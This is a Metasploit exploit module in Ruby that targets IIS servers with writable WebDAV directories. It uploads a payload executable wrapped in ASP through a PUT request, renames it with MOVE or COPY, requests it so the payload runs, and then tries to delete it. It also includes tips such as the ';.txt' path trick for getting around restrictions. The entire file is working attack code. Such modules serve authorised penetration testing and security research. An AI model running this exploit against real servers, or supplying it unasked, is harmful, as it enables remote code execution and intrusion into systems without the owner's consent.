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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize
super(
'Name' => 'Microsoft IIS WebDAV Write Access Code Execution',
'Description' => %q{
This module can be used to execute a payload on IIS servers that
have world-writeable directories. The payload is uploaded as an ASP
script via a WebDAV PUT request.
The target IIS machine must meet these conditions to be considered
as exploitable: It allows 'Script resource access', Read and Write
permission, and supports ASP.
},
'Author' => 'hdm',
'Platform' => 'win',
'References' =>
[
['OSVDB', '397'],
['BID', '12141']
],
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 01 1994'
)
register_options(
[
# The USERNAME and PASSWORD are registered again to make them more obvious they're
# configurable.
OptString.new('USERNAME',
[false, 'The HTTP username to specify for authentication', '']),
OptString.new('PASSWORD',
[false, 'The HTTP password to specify for authentication', '']),
OptString.new('PATH',
[ true, 'The path to attempt to upload', '/metasploit%RAND%.asp']),
OptEnum.new('METHOD',
[ true, 'Move or copy the file on the remote system from .txt -> .asp', 'move', ['move','copy']])
], self.class)
end
def exploit
# Generate the ASP containing the EXE containing the payload
exe = generate_payload_exe
asp = Msf::Util::EXE.to_exe_asp(exe)
path = datastore['PATH'].gsub('%RAND%', rand(0x10000000).to_s)
path = "/" + path if path[0] != "/"
# Incase of "/path/to/filename.asp;.txt"
path_tmp = "/" + File.basename(path.gsub(/\;.*/,''), ".*") + ".txt"
path_tmp = File.dirname(path) + path_tmp if File.dirname(path) != "/"
action = datastore['METHOD'].downcase.gsub('e','') + "ing"
alt_method = "move"
alt_method = "copy" if datastore['METHOD'].upcase == "MOVE"
#
# CHECK
#
print_status("Checking #{path}")
res = send_request_cgi({
'uri' => path ,
'method' => 'GET',
}, 20)
unless res
print_error("Connection timed out while trying to checking #{path}")
return
end
if (res.code == 200)
print_error("File #{path} already exists on the target")
return
end
#
# UPLOAD
#
print_status("Uploading #{asp.length} bytes to #{path_tmp}...")
begin
res = send_request_cgi({
'uri' => path_tmp,
'method' => 'PUT',
'ctype' => 'application/octet-stream',
'data' => asp,
}, 20)
rescue Errno::ECONNRESET => e
print_error("#{e.message}. It's possible either you set the PATH option wrong, or IIS doesn't allow 'Write' permission.")
return
end
unless res
print_error("Connection timed out while uploading to #{path_tmp}")
return
end
if (res.code < 200 or res.code >= 300)
print_error("Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
return
end
#
# MOVE/COPY
#
if (path_tmp == path)
print_warning("Same filename for PATH and PATH_TEMP detected (#{path_tmp})")
print_warning("Do not end PATH with '.txt'")
else
print_status("#{action.capitalize} #{path_tmp} to #{path}...")
res = send_request_cgi({
'uri' => path_tmp,
'method' => datastore['METHOD'].upcase,
'headers' => {'Destination' => path}
}, 20)
unless res
print_error("Connection timed out while moving to #{path}")
return
end
if (res.code < 200 or res.code >= 300)
print_error("#{datastore['METHOD'].capitalize} failed on #{path_tmp} [#{res.code} #{res.message}]")
case res.code
when 403
print_error("IIS possibly does not allow 'READ' permission, which is required to upload executable content.")
end
return
elsif (res.code == 207)
print_warning("#{datastore['METHOD'].capitalize} may have failed. [#{res.code} Response]")
print_warning("Try using 'set METHOD #{alt_method}' instead")
end
end
#
# EXECUTE
#
print_status("Executing #{path}...")
res = send_request_cgi({
'uri' => path,
'method' => 'GET'
}, 20)
unless res
print_error("Execution failed on #{path} [No Response]")
return
end
if (res.code < 200 or res.code >= 300)
print_error("Execution failed on #{path} [#{res.code} #{res.message}]")
case res.message
when 'Not Found', 'Object Not Found'
print_error("The #{datastore['METHOD'].upcase} action failed. Possibly IIS doesn't allow 'Script Resource Access'")
print_warning("Try using 'set METHOD #{alt_method}' instead")
vprint_warning("Pro Tip: Try 'set PATH /metasploit%RAND%.asp;.txt' instead") unless path.include? ";"
end
return
end
#
# DELETE
#
print_status("Deleting #{path} (this doesn't always work)...")
res = send_request_cgi({
'uri' => path,
'method' => 'DELETE'
}, 20)
unless res
print_error("Deletion failed on #{path} [No Response]")
return
end
if (res.code < 200 or res.code >= 300)
# Changed this to a warning, because red is scary and if this part fails,
# honestly it's not that bad. In most cases this is probably expected anyway
# because by default we're using IWAM_*, which doesn't give us a lot of
# freedom to begin with.
print_warning("Deletion failed on #{path} [#{res.code} #{res.message}]")
return
end
handler
end
end
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